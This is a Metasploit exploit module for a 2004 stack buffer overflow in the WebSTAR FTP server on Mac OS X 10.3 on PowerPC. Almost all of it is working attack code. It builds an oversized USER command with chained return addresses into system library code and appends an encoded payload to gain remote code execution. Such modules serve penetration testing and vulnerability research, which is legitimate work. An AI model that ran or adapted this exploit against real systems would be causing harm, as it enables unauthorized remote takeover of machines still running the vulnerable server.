WebSTAR FTP Server USER Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WebSTAR FTP Server USER Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the logging routine
        of the WebSTAR FTP server. Reliable code execution is
        obtained by a series of hops through the System library.
      },
      'Author'         => [ 'ddz', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-0695'],
          [ 'OSVDB', '7794'],
          [ 'BID', '10720'],

        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 300,
          'BadChars' => "\x00\x20\x0a\x0d",
          'Compat'   =>
            {
              'ConnectionType' => "+find"
            },
        },
      'Platform'      => %w{ osx },
      'Targets'        =>
        [
          [
            'Mac OS X 10.3.4-10.3.6',
            {
              'Platform'     => 'osx',
              'Arch'          => ARCH_PPC,
              'Rets'          => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ],
            },
          ],
        ],
      'DisclosureDate' => '2004-07-13',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]),
      ], self)
  end

  # crazy dino 5-hop foo
  #$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
  #$r28 = pack('N', 0x90034d60); # getgid()
  #$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
  #$r30 = pack('N', 0x90023590); # call $r3

  def exploit
    connect

    # The offset to the return address is dependent on the length of our hostname
    # as the target system resolves it ( IP or reverse DNS ).
    mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
    basel =  285 - mhost.length

    print_status("Trying target #{target.name}...")

    #  ret = 296
    # r25  = 260
    # r26  = 264
    # r27  = 268
    # r28  = 272
    # r29  = 276
    # r30  = 280
    # r31  = 284

    # r1+120 = 408

    buf                 = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
    buf[basel +  24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
    buf[basel      , 4] = [ target['Rets'][1] ].pack('N') # getgid()
    buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
    buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
    buf << payload.encoded

    send_cmd( ['USER', buf] , true )
    send_cmd( ['HELP'] , true )

    handler
    disconnect
  end
end